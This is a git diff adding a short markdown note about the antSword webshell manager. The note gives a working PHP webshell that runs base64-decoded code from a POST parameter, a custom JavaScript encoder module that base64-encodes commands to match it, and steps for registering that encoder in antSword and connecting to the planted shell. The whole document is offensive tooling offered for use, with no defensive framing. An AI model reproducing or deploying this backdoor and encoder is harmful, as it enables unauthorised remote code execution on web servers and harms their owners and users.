diff --git a/antSword/mybase.md b/antSword/mybase.md
new file mode 100644
index 0000000..1243c20
--- /dev/null
+++ b/antSword/mybase.md
@@ -0,0 +1,29 @@
+shell code
+```php
+<?php 
+$a = $_POST['n985de9'];
+if(isset($a)) {
+    eval(base64_decode($a));
+}
+?>
+```
+
+add : source/core/php/encoder/mybase64.js
+
+```js
+module.exports = (pwd, data) => {
+  data[pwd] = new Buffer(data['_']).toString('base64');
+  delete data['_'];
+  return data;
+}
+```
+
+edit : sources/core/php/index.js < add some code: regedit mybase64.js
+
+```js
+  get encoders() {
+    return ['chr', 'base64', 'mybase64'];
+  }
+```
+restart antsword, and add shell, select mybase64 encode  for this shell code.
+